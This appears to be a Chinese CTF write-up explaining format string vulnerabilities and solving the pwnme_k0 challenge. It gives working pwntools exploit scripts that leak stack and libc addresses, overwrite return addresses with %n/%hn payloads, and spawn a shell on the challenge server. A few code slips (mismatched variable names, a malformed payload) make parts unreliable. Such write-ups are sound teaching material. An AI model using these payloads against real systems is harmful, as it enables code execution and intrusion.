Mid Station

三个白帽-来 PWN 我一下好吗第二期

浅谈格式化字符串漏洞

0x00 前言

本来这篇是想投稿到乌云知识库的,但是知识库收录了另一篇更加详尽的writeup三个白帽《来 PWN 我一下好吗 – 第二期》之pwn入门,仔细看过以后发现给出的两种解法的确十分有学习价值。
那就把自己的writeup放到这里,权当积累。

接触PWN有一段时间了,这次总算成功挑战了三个白帽上的题目。总的来说,这道题目不算很难,是很明显的格式化字符串漏洞。鉴于知识库上还没有专门讲解格式化字符串漏洞的文章,我就以此为契机,尝试借着题目把这类漏洞讲清楚。
文章前几部分主要是对格式化字符串漏洞的介绍,还有多走的一些弯路,心急的看官可以直接跳到0x05 Try2看正确题解。

0x01 Where

pwnme_k0
拿到PWN题目的可执行文件,我一般会从最直观的角度开始对它进行分析,也就是直接运行,观察程序的结构。
Alt textAlt text
程序很简单,就是要求输入用户名和密码注册,之后会有三个选项,选择第一个的话会打印出用户名和密码。既然涉及到字符串的输出,这里就可以尝试一下用一些特殊的字符串看存不存在格式化字符串的漏洞。
Alt textAlt text
如图,当我们把用户名密码都设为%x.%x.%x.%x,请求输出时会泄露出一些16进制的内容,也就是存在栈上的一些内存信息。所以可以确定程序存在格式化字符串漏洞。

接着我们可以把程序放到IDA中用F5反汇编一下,可以观察到位于0x400B07这个函数是问题的所在。

1
2
3
4
5
6
int __usercall sub_400B07@<eax>(char format@<dil>, char formata, __int64 a3, char a4)
{
write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);
printf(&formata, "Welc0me to sangebaimao!\n");
return printf(&a4 + 4);
}

其中printf(&formata, "Welc0me to sangebaimao!\n");printf(&a4 + 4)这两条语句直接把用户控制的字符串作为printf的第一个参数,导致了漏洞的产生。

0x02 Why

学过C语言的同学都知道,格式化字符串在我们使用printf函数输出时起着很大的作用,它为输出合适的字符串提供了灵活易用的控制机制。但是对printf类函数不严谨的调用往往会酿成大错。思考以下两段代码:

1
2
3
char buf[100];
fgets(buf, 100, stdin);
printf(buf);
1
2
3
char buf[100];
fgets(buf, 100, stdin);
printf("%s", buf);

两段代码都是直接获取用户输入的字符串然后直接输出,其实在函数调用的层面上却是大不一样的。如果我们输入正常字符串HELLO WORLD,两段代码的输出当然不会有任何差别,但是如果我们输入格式化字符串,比如%x.%x.%x.%x,第一段代码就会输出形如4010c3.1a.b71cf710.b74a3060的内存信息,而第二段代码则只会原原本本地输出%x.%x.%x.%x

造成这种差异的原因是C语言的函数调用的机制。当我们调用一个函数时,参数是存放在栈上的(64位前几个参数会存放在寄存器),而程序本身并没有明确地指明参数的边界。当调用像printf这类函数的时候,参数的个数其实是通过第一个参数(格式化字符串)来确定的。
系统执行printf("%s", buf)时,首先从第一个参数%s知道了要读取下一个参数,并以字符串的格式输出。
但是系统执行printf(buf)时,由于我们是可以控制buf的内容的,如果输入%x.%x.%x.%x,系统就会误认为接下来会有4个参数,接着从栈/寄存器上获取内容并按照指定格式输出,导致内存信息的泄露。

0x03 How

以上就是格式化字符串漏洞形成的原因,接下来介绍一下基本的利用方法。

读:“$”

我们可以一直延长像%x.%x.%x.%x这样的字符串,直到程序输出在栈上我们想要的信息,但是有时程序会对输入字符串的长度进行限制(本题就进行了十分严格的限制),有什么办法能使我们读得更多更远呢?
答案就是运用直接访问参数的方法:

1
2
语法:printf("%<arg#$<format>");
例子:printf("%3$d",1,2,3); -> 3

以上例子可以直接输出第三个参数的内容,同理,如果我们输入printf("%100$x"),程序就会以16进制输出栈上偏移位置为100的内存所存放的内容,通过更改偏移的位置,我们就可以获取栈上的大量信息。

写:“%n”

%n是个神奇的格式符,首先它会接受一个指针,然后会把当前打印的字节数写进指针指向的地址。虽然比较绕,但这是利用格式化字符串控制eip的唯一方法。请看下面的例子:
假如栈上偏移位置为15的内存存放了0xdeadbeef这个地址,通过printf("aaaa%15$n")这个语句,可以往0xdeadbeef里面写入0x4,因为在%n之前总共打印了4个字节的a。为了控制写入的内容,我们可以灵活使用%x格式符,通过%x之间的数字可以控制打印内容的长度,比如%2730x%15$n就会在%n之前打印总长度为2730的内容,那么写入的内容就会变成0xaaa(16进制的2730)。
那么如果栈上没有我们想写的地址呢?那也好办,因为字符串本身也是放在栈上的,只要我们知道字符串本身的偏移位置就能构造出想要的payload。
假如我们确定了字符串本身在栈上的偏移位置是8,\xef\xbe\xad\xde%8$n(注意小端写法)这个payload就会往0xdeadbead这个地址写入0x4的数据。要是我们同样想写入0xaaa的数据,首先要用0xaaa(想写入的数据)-0x4(已有长度,这里就是地址的长度)=0xaa6(转换为十进制是2726)。最终得出的payload是\xef\xbe\xad\xde%2726%8$n
%n写地址的基本思路就是这样了,当然在实战中%n也有很多缺点,比如一次就会写入一个双字,而写入的内容大都不像0xaaa这样简短,这就需要打印很长的一段内容,导致需要等待很长的时间。所以我们要灵活运用$hn,$hhn等兄弟格式符来写入一个字,一个字节的内容,这点会在等下的实际运用中展开说明。

0x04 Try1

介绍完格式化字符串的来龙去脉,接下来就可以进入对本次pwnme_k0程序的题解了。
首先,养成好习惯,先确定程序开了哪些防护机制:
Alt textAlt text
NX不用说基本是现在PWN题目的必备,然后没开PIE算是利好消息,这里RELRO是FULL说明就不能通过重写GOT(Global Offset Table)和DTOR(Destructor List)的方法来控制eip了,如果是Partial和Disable则可以利用。对于格式化字符串漏洞来说,这两种方法往往是最直接高效的,这就意味着,这题只能通过重写返回地址或函数指针的方式来控制eip了。
根据之前的介绍,我们已经确定了程序的漏洞和利用位置,接下来就是如何利用的问题。
对于利用格式化字符串漏洞,第一步是要确定字符串的偏移位置,这对接下来payload的构建是至关重要的。
Alt textAlt text
通过几次测试就能确定到字符串的偏移位置为8,如图%8$x所对应的位置输出是61616161也就是字符串开头aaaa的16进制形式。

既然要往栈上写东西,那么栈的地址总要知道的吧?下一步就是获取栈上的任一地址,再通过偏移地址的计算找到我们要写东西的地址。我们用gdb调试程序,在0x400b28也就是第一次调用printf的地方下一个断点,运行程序,输入用户名aaaa密码bbbb,再输入选项1打印信息。在断点处查看栈的信息:
Alt textAlt text
根据之前的分析,开头会位于第8个偏移位置,那么照这样数下去,第一个保存栈上地址的位置是14,这里显示的是0x7fffffffddf0(不同机器上可能会不同)。
Alt textAlt text
然后我们bt查看函数调用栈,并且一直next直到第一个ret命令,可以看到第一个返回地址位于0x7fffffffdd08, 0x7fffffffddf0 - 0x7fffffffdd08 = 0xe8,通过这个偏移值,我们就能计算出返回地址在栈上的地址,然后用之前介绍到的方法写入我们想要返回的地址从而达到控制eip的目的。简单用pwntools写了一小段脚本:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = process('./pwnme_k0')
p.sendline("%14$lx") # 因为是64位程序,lx用于输出四字节
p.sendline("JUNK")
p.sendline("1")
p.recvuntil('>')
stack_leak = p.recv(12)
stack_leak = int(stack_leak, 16)
stack_ret = stack_leak - 0xe8
log.info("stack_leak: %x" % stack_leak)
log.info("stack_ret: %x" % stack_ret)

写入的位置解决了,接下来就该考虑写什么的问题了。我们控制eip的最终目的就是调用system("/bin/sh")来获得一个shell,所幸的是,这题里面system"/bin/sh"这两个元素已经包含在程序里面,通过peda的find语句配合IDA,很快就找到了system的地址为0x400768,"/bin/sh"的地址为0x400f38。由于是64位的程序,要调用system("/bin/sh")要分两步走:

  1. "/bin/sh"的地址放到rdi寄存器中(64位程序调用函数是第一个参数会放到rdi寄存器中)
  2. system地址放到ret语句执行时的栈顶,也就是我们先前计算得到的地址

那么思路就变得清晰了,现在总共有两种方法:

  1. 先把/bin/sh的地址放到栈上,再利用gadget把地址pop到rdi寄存器中,然后ret到system的地址。
  2. 获取ret执行时rdi存放的地址,直接放这个地址里面写入/bin/sh(或者sh也行)

我们先来尝试第一种方法,首先观察第一次ret时候栈上的分布是怎样的。程序的用户名和密码都有上限为20的长度限制,于是我们通过把用户名密码都设为1234567890abcdef123\n便于观察栈的分布。
Alt textAlt text

1
2
3
4
      -----8----- -----9---- ---10
user: | 12345678 | 90abcdef | 123\n
----- ----11---- ----12-----
pass: 1234 | 567890ab | cdef123\n |

输入内容的位置和偏移位置的对应关系如上图所示,我们要往0x7fffffffdd08里面写入0x400768(system地址),就可以构造出这样的payload:
user:%4196120x%11$n
pass:JUNK\x08\xdd\xff\xff\xff\x7f
给出相应的脚本代码:

1
2
3
p.sendline("2")
p.sendline("%4196200x%11$n")
p.sendline('JUNK' + p64(stack_ret))

小提示:编写脚本时想要用gdb调试程序,可以在相应位置加入gdb.attach(p)语句,pwntools为自动为我们连接到gdb进行调试。

执行到第一个ret0x400b40的位置,栈的分布和寄存器如图:
Alt textAlt text
可以看到,栈顶已经被成功写入system的地址,只要继续运行就能调用到system函数。如果我们按照上面的第一条思路,接下来就要找合适的gadget。
Alt textAlt text
包含pop rdi的gadget就只有这两条,它们都是把当前栈顶的内容pop进rdi里面。这就要求我们在8号位放进/bin/sh的地址,照这思路我选取第二条gadget构造了一条看似可行的payload:

1
2
3
4
5
system = 0x400768
binsh = 0x400f38
p.sendline("2")
p.send(p64(bin_sh) + "%4196524x%12") #pop rdi;pop rsi;pop rdx;ret
p.send('$nNK' + p64(system)+p64(stack_ret))

这看起来很不错,首先能把/bin/sh的地址放进rdi,又能在下一个ret的位置放进system的地址。但实际上却是不能用的,原因就是用户名的字符串是通过strcpy来复制到栈上的,我们输入/bin/sh的地址时,必须会输入0x00来填充空位,而strcpy一遇到0x00空字符就会产生截断,导致后续的内容无法放到栈上。
Alt textAlt text

那么就只能转向第二条思路,观察在断点处rdi存放的地址,是一个libc段附近的地址,猜测应该是输出缓冲区的地址,在各种位置输入尝试改变其内容为sh均无果。最后通过泄露libc段地址并计算出偏移地址,在一大段0x20后写入sh,Exp在本机终于得以成功执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

system = 0x400768
binsh = 0x400f38
pop_rdi = 0x400f13
ppp = 0x400f13

p = process('./pwnme_k0')
#p = remote('123.59.56.23','44110')

def leak(address):
p.sendline("%14$lx")
p.sendline("JUNK")
p.sendline("1")
p.recvuntil('>')
stack_leak = p.recv(12)
stack_leak = int(stack_leak, 16)
stack_ret = stack_leak - 0xe8
log.info("stack_leak: %x" % stack_leak)
log.info("stack_ret: %x" % stack_ret)

p.sendline("2")
p.sendline("%37$lx")
p.sendline("JUNK")
p.sendline("1")
p.recvuntil('>')
p.recvuntil('>')
libc_leak = p.recv(12)
libc_leak = int(libc_leak, 16)
to_write = libc_leak + 0x5c30bb
libc_sh = libc_leak + 0x15a97e
log.info("libc_leak: %x" % libc_leak)
log.info("libc_sh: %x" % libc_sh)
log.info("to_write: %x" % to_write)

p.sendline("2")
p.send("%26739x%11$n") #写sh到一rdi指向的大段0x20之后
p.sendline('junk' + p64(to_write))
p.sendline("1")

p.sendline("2")
p.sendline("%4196120x%11$n")
p.sendline('junk' + p64(stack_ret))#gdb.attach(p)
p.sendline("1")

leak(0x400f38)
p.interactive()

然而世界上最远的距离莫过于在本机辛辛苦苦写的Exp放到远程却不能执行。
失败的原因总的来说就是这种方法不靠谱,每台机器libc段的偏移地址都有差异,再加上用格式化字符串漏洞直接往输出缓冲区写东西本来就不是一种稳当有效的方法,还有写system地址那里输出的一大堆占位空格在远程要传送很久,能在本机执行只能说明瞎拼乱凑的Exp碰巧成功了。

0x05 Try2

按着这两条思路分析到这里已经过去了将近两天的光景,绕来绕去始终没能成功又不甘心放弃。我从头检视一遍之前的分析,看看是不是遗漏了什么。
Alt textAlt text
看到这里bt命令打印出的函数调用栈,除了我们苦苦追求的0x400d74,往下看还有一个0x400e98!一直next跟踪下去发现,之前我们一直在用的0x400d74所在的位置,是打印函数结束时候返回的地址,而0x400e98则是整个程序结束时返回的地址,也就是说我们输入选项3退出程序的时候,才会触发返回到0x400e98的语句。通过同样的方法计算出偏移地址0x7fffffffddf0 - 0x7fffffffdd48 = 0xa8,而恰巧在这个ret命令执行时,栈顶第二个位置也是放着我们输入的字符串。

这下思路就很清晰了:

  1. 用之前的方法往0x400e98所在的位置写入system的地址
  2. 选项2,重新输入用户名为/bin/sh的地址,密码随意
  3. 选项3,退出程序触发ret命令

最后一个问题就是写入整个地址带来的副作用,程序会输出一大堆占位的空格,在本机运行还好,一旦放到远程就会耗费大量的时间,还有可能因为网络延迟被中断。
这里可以改进为用$hn往地址里面写入一个单字,比如我们要把0x400e98改写成0x4008b4(3pop+ret),可以保留高地址的0x0040,直接往低地址写入0x08b4。具体的payload如下:

1
2
3
4
5
p.sendline("2")
p.recv()
p.sendline("%2228x%12$hn") # 2228 即0x8b4的十进制形式
p.recv()
p.send('junk' + p64(system)+p64(stack_ret))

到了第二步,我们就不用考虑格式化字符串的问题了,所以也不怕0x00造成的截断问题,只需要把/bin/sh地址放到8号位,system地址放到11号位就可以,等到进入选项3触发3pop + ret gadget时,程序就会按预设成功调用system("/bin/sh")。以下是能够成功在目标机器上利用的完整Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

system = 0x400768
pop_rdi = 0x400f13
ppp = 0x4008b4
binsh = 0x400f38

#p = process('./pwnme_k0')
p = remote('123.59.56.23','44110')

def boom():
p.recv()
p.sendline("%14$lx")
p.recv()
p.sendline("JUNK")
p.recv()
p.sendline("1")
p.recvuntil('\x00\x00')
stack_leak = p.recv(12)
stack_leak = int(stack_leak, 16)
stack_ret = stack_leak - 0xa8
log.info("stack_leak: %x" % stack_leak)
log.info("stack_ret: %x" % stack_ret)

p.recv()
p.sendline("2")
p.recv()
p.sendline("%2228x%12$hn")
p.recv()
p.send('junk' + p64(system)+p64(stack_ret))
p.recv()
p.sendline("1")

p.recv()
p.sendline("2")
p.recv()
p.sendline(p32(binsh))
p.recv()
p.sendline('junk' + p64(system))
p.recv()
p.sendline("1")

boom()
p.interactive()

0x06 小结

  1. 本次题目真的不算很难,主要考验的是对细节的观察和在长度限制下payload的构建,感谢出题者提供这么有意思的题目,让像我这样的菜鸟也能体会到挑战成功的乐趣。

  2. 在研究Pwn题目的时候,我认为可以从三个维度分析:

    1. 当前时间帧的维度,也就是调试时某个时间点上,关注所有寄存器和栈上存放的内容
    2. 整个程序汇编层面的维度,也就是关注程序本身有什么函数、指针我们是可以利用的,包括构建ROP链时gadget的寻找,/bin/sh字符串的寻找
    3. 程序源码的维度,主要就是通过IDA F5反汇编出来的代码,从程序员的角度关注漏洞出现在哪里;我们怎样才能通过程序本身的逻辑去达到我们的目的

    遇到难以解决的问题不妨跳到另一个维度去思考,通过在这三个维度之间的不同切换配合,才能真正理解程序本身,最终利用它来达到我们的目的。
    当然还有最重要的一点:千万不要吊死在一颗树上(有不止一个ret点,为什么非要用最近的那个而不是最合适的那个?)